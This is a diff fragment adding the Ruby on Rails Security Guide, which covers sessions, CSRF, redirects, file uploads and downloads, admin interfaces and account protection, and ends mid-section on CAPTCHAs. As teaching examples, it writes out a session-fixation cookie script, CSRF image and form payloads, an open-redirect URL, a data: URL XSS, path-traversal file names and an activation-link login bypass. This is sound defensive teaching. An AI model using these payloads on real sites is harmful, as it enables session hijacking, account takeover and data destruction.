+The guides and the API should be coherent and consistent where appropriate. In particular, these sections of the [API Documentation Guidelines](api_documentation_guidelines.html) also apply to the guides:
+
+* [Wording](api_documentation_guidelines.html#wording)
+* [English](api_documentation_guidelines.html#english)
+* [Example Code](api_documentation_guidelines.html#example-code)
+* [Filenames](api_documentation_guidelines.html#file-names)
+* [Fonts](api_documentation_guidelines.html#fonts)
+
+HTML Guides
+-----------
+
+Before generating the guides, make sure that you have the latest version of
+Bundler installed on your system. As of this writing, you must install Bundler
+1.3.5 or later on your device.
+
+To install the latest version of Bundler, run `gem install bundler`.
+
+### Generation
+
+To generate all the guides, just `cd` into the `guides` directory, run `bundle install`, and execute:
+
+```
+bundle exec rake guides:generate
+```
+
+or
+
+```
+bundle exec rake guides:generate:html
+```
+
+Resulting HTML files can be found in the `./output` directory.
+
+To process `my_guide.md` and nothing else use the `ONLY` environment variable:
+
+```
+touch my_guide.md
+bundle exec rake guides:generate ONLY=my_guide
+```
+
+By default, guides that have not been modified are not processed, so `ONLY` is rarely needed in practice.
+
+To force processing all the guides, pass `ALL=1`.
+
+If you want to generate guides in a language other than English, you can keep them in a separate directory under `source` (eg. `source/es`) and use the `GUIDES_LANGUAGE` environment variable:
+
+```
+bundle exec rake guides:generate GUIDES_LANGUAGE=es
+```
+
+If you want to see all the environment variables you can use to configure the generation script just run:
+
+```
+rake
+```
+
+### Validation
+
+Please validate the generated HTML with:
+
+```
+bundle exec rake guides:validate
+```
+
+Particularly, titles get an ID generated from their content and this often leads to duplicates. Please set `WARNINGS=1` when generating guides to detect them. The warning messages suggest a solution.
+
+Kindle Guides
+-------------
+
+### Generation
+
+To generate guides for the Kindle, use the following rake task:
+
+```
+bundle exec rake guides:generate:kindle
+```
diff --git a/guides/source/security.md b/guides/source/security.md
new file mode 100644
index 0000000000..297680b176
--- /dev/null
+++ b/guides/source/security.md
@@ -0,0 +1,1066 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Ruby on Rails Security Guide
+============================
+
+This manual describes common security problems in web applications and how to avoid them with Rails.
+
+After reading this guide, you will know:
+
+* All countermeasures _that are highlighted_.
+* The concept of sessions in Rails, what to put in there and popular attack methods.
+* How just visiting a site can be a security problem (with CSRF).
+* What you have to pay attention to when working with files or providing an administration interface.
+* How to manage users: Logging in and out and attack methods on all layers.
+* And the most popular injection attack methods.
+
+--------------------------------------------------------------------------------
+
+Introduction
+------------
+
+Web application frameworks are made to help developers build web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem.
+
+In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).
+
+The Gartner Group, however, estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.
+
+The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.
+
+In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the [Additional Resources](#additional-resources) chapter). It is done manually because that's how you find the nasty logical security problems.
+
+Sessions
+--------
+
+A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.
+
+### What are Sessions?
+
+NOTE: _HTTP is a stateless protocol. Sessions make it stateful._
+
+Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request.
+Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.
+
+A session usually consists of a hash of values and a session ID, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session ID. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:
+
+```ruby
+session[:user_id] = @current_user.id
+User.find(session[:user_id])
+```
+
+### Session ID
+
+NOTE: _The session ID is a 32-character random hex string._
+
+The session ID is generated using `SecureRandom.hex` which generates a random hex string using platform specific methods (such as OpenSSL, /dev/urandom or Win32) for generating cryptographically secure random numbers. Currently it is not feasible to brute-force Rails' session IDs.
+
+### Session Hijacking
+
+WARNING: _Stealing a user's session ID lets an attacker use the web application in the victim's name._
+
+Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session ID in the cookie identifies the session.
+
+Hence, the cookie serves as temporary authentication for the web application. Anyone who seizes a cookie from someone else, may use the web application as this user - with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:
+
+* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN, it is especially easy to listen to the traffic of all connected clients. For the web application builder this means to _provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:
+
+    ```ruby
+    config.force_ssl = true
+    ```
+
+* Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a _log-out button_ in the web application, and _make it prominent_.
+
+* Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read [more about XSS](#cross-site-scripting-xss) later.
+
+* Instead of stealing a cookie unknown to the attacker, they fix a user's session identifier (in the cookie) known to them. Read more about this so-called session fixation later.
+
+The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf).
+
+### Session Guidelines
+
+Here are some general guidelines on sessions.
+
+* _Do not store large objects in a session_. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
+This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
+
+* _Critical data should not be stored in session_. If the user clears their cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
+
+### Session Storage
+
+NOTE: _Rails provides several storage mechanisms for the session hashes. The most important is `ActionDispatch::Session::CookieStore`._
+
+Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session ID. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:
+
+* Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. _Storing the current user's database id in a session is usually ok_.
+
+* The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret (`secrets.secret_token`) and inserted into the end of the cookie.
+
+In Rails 4, encrypted cookies through AES in CBC mode with HMAC using SHA1 for
+verification was introduced. This prevents the user from accessing and tampering
+the content of the cookie. Thus the session becomes a more secure place to store
+data. The encryption is performed using a server-side `secrets.secret_key_base`.
+Two salts are used when deriving keys for encryption and verification. These
+salts are set via the `config.action_dispatch.encrypted_cookie_salt` and
+`config.action_dispatch.encrypted_signed_cookie_salt` configuration values.
+
+Rails 5.2 uses AES-GCM for the encryption which couples authentication
+and encryption in one faster step and produces shorter ciphertexts.
+
+Encrypted cookies are automatically upgraded if the
+`config.action_dispatch.use_authenticated_cookie_encryption` is enabled.
+
+_Do not use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters! Instead use `rails secret` to generate secret keys!_
+
+Applications get `secrets.secret_key_base` initialized to a random key present in `config/secrets.yml`, e.g.:
+
+    development:
+      secret_key_base: a75d...
+
+    test:
+      secret_key_base: 492f...
+
+    production:
+      secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
+
+Older versions of Rails use CookieStore, which uses `secret_token` instead of `secret_key_base` that is used by EncryptedCookieStore. Read the upgrade documentation for more information.
+
+If you have received an application where the secret was exposed (e.g. an application whose source was shared), strongly consider changing the secret.
+
+### Replay Attacks for CookieStore Sessions
+
+TIP: _Another sort of attack you have to be aware of when using `CookieStore` is the replay attack._
+
+It works like this:
+
+* A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes).
+* The user buys something.
+* The new adjusted credit value is stored in the session.
+* The user takes the cookie from the first step (which they previously copied) and replaces the current cookie in the browser.
+* The user has their original credit back.
+
+Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers. Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).
+
+The best _solution against it is not to store this kind of data in a session, but in the database_. In this case store the credit in the database and the logged_in_user_id in the session.
+
+### Session Fixation
+
+NOTE: _Apart from stealing a user's session ID, the attacker may fix a session ID known to them. This is called session fixation._
+
+![Session fixation](images/session_fixation.png)
+
+This attack focuses on fixing a user's session ID known to the attacker, and forcing the user's browser into using this ID. It is therefore not necessary for the attacker to steal the session ID afterwards. Here is how this attack works:
+
+* The attacker creates a valid session ID: They load the login page of the web application where they want to fix the session, and take the session ID in the cookie from the response (see number 1 and 2 in the image).
+* They maintain the session by accessing the web application periodically in order to keep an expiring session alive.
+* The attacker forces the user's browser into using this session ID (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on.
+* The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session ID to the trap session ID.
+* As the new trap session is unused, the web application will require the user to authenticate.
+* From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
+
+### Session Fixation - Countermeasures
+
+TIP: _One line of code will protect you from session fixation._
+
+The most effective countermeasure is to _issue a new session identifier_ and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:
+
+```ruby
+reset_session
+```
+
+If you use the popular [Devise](https://rubygems.org/gems/devise) gem for user management, it will automatically expire sessions on sign in and sign out for you. If you roll your own, remember to expire the session after your sign in action (when the session is created). This will remove values from the session, therefore _you will have to transfer them to the new session_.
+
+Another countermeasure is to _save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _These might change over the course of a session_, so these users will not be able to use your application, or only in a limited way.
+
+### Session Expiry
+
+NOTE: _Sessions that never expire extend the time-frame for attacks such as cross-site request forgery (CSRF), session hijacking and session fixation._
+
+One possibility is to set the expiry time-stamp of the cookie with the session ID. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _expire sessions in a database table_. Call `Session.sweep("20 minutes")` to expire sessions that were used longer than 20 minutes ago.
+
+```ruby
+class Session < ApplicationRecord
+  def self.sweep(time = 1.hour)
+    if time.is_a?(String)
+      time = time.split.inject { |count, unit| count.to_i.send(unit) }
+    end
+
+    delete_all "updated_at < '#{time.ago.to_s(:db)}'"
+  end
+end
+```
+
+The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:
+
+```ruby
+delete_all "updated_at < '#{time.ago.to_s(:db)}' OR
+  created_at < '#{2.days.ago.to_s(:db)}'"
+```
+
+Cross-Site Request Forgery (CSRF)
+---------------------------------
+
+This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.
+
+![](images/csrf.png)
+
+In the [session chapter](#sessions) you have learned that most Rails applications use cookie-based sessions. Either they store the session ID in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is that if the request comes from a site of a different domain, it will also send the cookie. Let's start with an example:
+
+* Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file: `<img src="http://www.webapp.com/project/1/destroy">`
+* Bob's session at `www.webapp.com` is still alive, because he didn't log out a few minutes ago.
+* By viewing the post, the browser finds an image tag. It tries to load the suspected image from `www.webapp.com`. As explained before, it will also send along the cookie with the valid session ID.
+* The web application at `www.webapp.com` verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
+* Bob doesn't notice the attack - but a few days later he finds out that project number one is gone.
+
+It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere - in a forum, blog post or email.
+
+CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) - less than 0.1% in 2006 - but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in many security contract works - _CSRF is an important security issue_.
+
+### CSRF Countermeasures
+
+NOTE: _First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF._
+
+The HTTP protocol basically provides two main types of requests - GET and POST (DELETE, PUT, and PATCH should be used like POST). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:
+
+**Use GET if:**
+
+* The interaction is more _like a question_ (i.e., it is a safe operation such as a query, read operation, or lookup).
+
+**Use POST if:**
+
+* The interaction is more _like an order_, or
+* The interaction _changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or
+* The user is _held accountable for the results_ of the interaction.
+
+If your web application is RESTful, you might be used to additional HTTP verbs, such as PATCH, PUT or DELETE. Some legacy web browsers, however, do not support them - only GET and POST. Rails uses a hidden `_method` field to handle these cases.
+
+_POST requests can be sent automatically, too_. In this example, the link www.harmless.com is shown as the destination in the browser's status bar. But it has actually dynamically created a new form that sends a POST request.
+
+```html
+<a href="http://www.harmless.com/" onclick="
+  var f = document.createElement('form');
+  f.style.display = 'none';
+  this.parentNode.appendChild(f);
+  f.method = 'POST';
+  f.action = 'http://www.example.com/account/destroy';
+  f.submit();
+  return false;">To the harmless survey</a>
+```
+
+Or the attacker places the code into the onmouseover event handler of an image:
+
+```html
+<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
+```
+
+There are many other possibilities, like using a `<script>` tag to make a cross-site request to a URL with a JSONP or JavaScript response. The response is executable code that the attacker can find a way to run, possibly extracting sensitive data. To protect against this data leakage, we must disallow cross-site `<script>` tags. Ajax requests, however, obey the browser's same-origin policy (only your own site is allowed to initiate `XmlHttpRequest`) so we can safely allow them to return JavaScript responses.
+
+Note: We can't distinguish a `<script>` tag's origin—whether it's a tag on your own site or on some other malicious site—so we must block all `<script>` across the board, even if it's actually a safe same-origin script served from your own site. In these cases, explicitly skip CSRF protection on actions that serve JavaScript meant for a `<script>` tag.
+
+To protect against all other forged requests, we introduce a _required security token_ that our site knows but other sites don't know. We include the security token in requests and verify it on the server. This is a one-liner in your application controller, and is the default for newly created Rails applications:
+
+```ruby
+protect_from_forgery with: :exception
+```
+
+This will automatically include a security token in all forms and Ajax requests generated by Rails. If the security token doesn't match what was expected, an exception will be thrown.
+
+NOTE: By default, Rails includes an [unobtrusive scripting adapter](https://github.com/rails/rails/blob/master/actionview/app/assets/javascripts),
+which adds a header called `X-CSRF-Token` with the security token on every non-GET
+Ajax call. Without this header, non-GET Ajax requests won't be accepted by Rails.
+When using another library to make Ajax calls, it is necessary to add the security
+token as a default header for Ajax calls in your library. To get the token, have
+a look at `<meta name='csrf-token' content='THE-TOKEN'>` tag printed by
+`<%= csrf_meta_tags %>` in your application view.
+
+It is common to use persistent cookies to store user information, with `cookies.permanent` for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself:
+
+```ruby
+rescue_from ActionController::InvalidAuthenticityToken do |exception|
+  sign_out_user # Example method that will destroy the user cookies
+end
+```
+
+The above method can be placed in the `ApplicationController` and will be called when a CSRF token is not present or is incorrect on a non-GET request.
+
+Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so they can read the CSRF security token from a form or directly submit the form. Read [more about XSS](#cross-site-scripting-xss) later.
+
+Redirection and Files
+---------------------
+
+Another class of security vulnerabilities surrounds the use of redirection and files in web applications.
+
+### Redirection
+
+WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, they may also create a self-contained attack._
+
+Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to=www.attacker.com. Here is an example of a legacy action:
+
+```ruby
+def legacy
+  redirect_to(params.update(action:'main'))
+end
+```
+
+This will redirect the user to the main action if they tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by attacker if they included a host key in the URL:
+
+```
+http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
+```
+
+If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _And if you redirect to a URL, check it with a whitelist or a regular expression_.
+
+#### Self-contained XSS
+
+Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:
+
+`data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K`
+
+This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, _do not allow the user to supply (parts of) the URL to be redirected to_.
+
+### File Uploads
+
+NOTE: _Make sure file uploads don't overwrite important files, and process media files asynchronously._
+
+Many web applications allow users to upload files. _File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like "../../../etc/passwd", it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so - one more reason to run web servers, database servers and other programs as a less privileged Unix user.
+
+When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all "../" in a file name and an attacker uses a string such as "....//" - the result will be "../". It is best to use a whitelist approach, which _checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the [attachment_fu plugin](https://github.com/technoweenie/attachment_fu/tree/master):
+
+```ruby
+def sanitize_filename(filename)
+  filename.strip.tap do |name|
+    # NOTE: File.basename doesn't work right with Windows paths on Unix
+    # get only the filename, not the whole path
+    name.sub! /\A.*(\\|\/)/, ''
+    # Finally, replace all non alphanumeric, underscore
+    # or periods with underscore
+    name.gsub! /[^\w\.\-]/, '_'
+  end
+end
+```
+
+A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its _vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
+
+The solution to this is best to _process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.
+
+### Executable Code in File Uploads
+
+WARNING: _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory._
+
+The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file "file.cgi" with code in it, which will be executed when someone downloads the file.
+
+_If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards.
+
+### File Downloads
+
+NOTE: _Make sure users cannot download arbitrary files._
+
+Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:
+
+```ruby
+send_file('/var/www/uploads/' + params[:filename])
+```
+
+Simply pass a file name like "../../../etc/passwd" to download the server's login information. A simple solution against this, is to _check that the requested file is in the expected directory_:
+
+```ruby
+basename = File.expand_path('../../files', __dir__)
+filename = File.expand_path(File.join(basename, @file.public_filename))
+raise if basename !=
+     File.expand_path(File.join(File.dirname(filename), '../../../'))
+send_file filename, disposition: 'inline'
+```
+
+Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.
+
+Intranet and Admin Security
+---------------------------
+
+Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.
+
+In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.

+
+**XSS** If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.
+
+Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.
+
+Refer to the Injection section for countermeasures against XSS.
+
+**CSRF** Cross-Site Request Forgery (CSRF), also known as Cross-Site Reference Forgery (XSRF), is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
+
+A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/news/item/Symantec-reports-first-active-attack-on-a-DSL-router-735883.html). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for the user, but it also contained an image tag that resulted in an HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had their credentials stolen.
+
+Another example changed Google Adsense's e-mail address and password. If the victim was logged into Google Adsense, the administration interface for Google advertisement campaigns, an attacker could change the credentials of the victim.

+
+Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
+
+For _countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section_.
+
+### Additional Precautions
+
+The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:
+
+* It is very important to _think about the worst case_: What if someone really got hold of your cookies or user credentials. You could _introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _special password for very serious actions_?
+
+* Does the admin really have to access the interface from everywhere in the world? Think about _limiting the login to a bunch of source IP addresses_. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
+
+* _Put the admin interface to a special sub-domain_ such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
+
+User Management
+---------------
+
+NOTE: _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._
+
+There are a number of authentication plug-ins for Rails available. Good ones, such as the popular [devise](https://github.com/plataformatec/devise) and [authlogic](https://github.com/binarylogic/authlogic), store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in `has_secure_password` method which has similar features.
+
+Every new user gets an activation code to activate their account when they get an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested a URL like these, they would be logged in as the first activated user found in the database (and chances are that this is the administrator):
+
+```
+http://localhost:3006/user/activate
+http://localhost:3006/user/activate?id=
+```
+
+This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:
+
+```ruby
+User.find_by_activation_code(params[:id])
+```
+
+If the parameter was nil, the resulting SQL query will be
+
+```sql
+SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
+```
+
+And thus it found the first user in the database, returned it and logged them in. You can find out more about it in [this blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
+
+### Brute-Forcing Accounts
+
+NOTE: _Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA._
+
+A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user names and a dictionary, an automatic program may find the correct password in a matter of minutes.
+
+Because of this, most web applications will display a generic error message "user name or password not correct", if one of these are not correct. If it said "the user name you entered has not been found", an attacker could automatically compile a list of user names.
+
+However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.
+
+In order to mitigate such attacks, _display a generic error message on forgot-password pages, too_. Moreover, you can _require to enter a CAPTCHA after a number of failed logins from a certain IP address_. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.
+
+### Account Hijacking
+
+Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?.
+
+#### Passwords
+
+Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring them to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_.
+
+#### E-Mail
+
+However, the attacker may also take over the account by changing the e-mail address. After they change it, they will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_.
+
+#### Other
+
+Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in an HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to their e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_.
+
+### CAPTCHAs
+
+INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect registration forms from attackers and comment forms from automatic spam bots by asking the user to type the letters of a distorted image. This is the positive CAPTCHA, but there is also the negative CAPTCHA. The idea of a negative CAPTCHA is not for a user to prove that they are human, but reveal that a robot is a robot._
+
+A popular positive CAPTCHA API is [reCAPTCHA](http://recaptcha.net/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](https://github.com/ambethia/recaptcha/) is also a Rails plug-in with the same name as the API.
+
+You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
+The problem with CAPTCHAs is that they have a negative impact on the user experience. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. Still, positive CAPTCHAs are one of the best methods to prevent all kinds of bots from submitting forms.
+
+Most bots are really dumb. They crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.
+
+Note that negative CAPTCHAs are only effective against dumb bots and won't suffice to protect critical applications from targeted bots. Still, the negative and positive CAPTCHAs can be combined to increase the performance, e.g.,  if the "honeypot" field is not empty (bot detected), you won't need to verify the positive CAPTCHA, which would require an HTTPS request to Google ReCaptcha before computing the response.
+
+Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:
+
+* position the fields off of the visible area of the page
+* make the elements very small or color them the same as the background of the page
+* leave the fields displayed, but tell humans to leave them blank
+
+The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.
+
+You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](http://nedbatchelder.com/text/stopbots.html):
+
+* Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
+* Randomize the field names
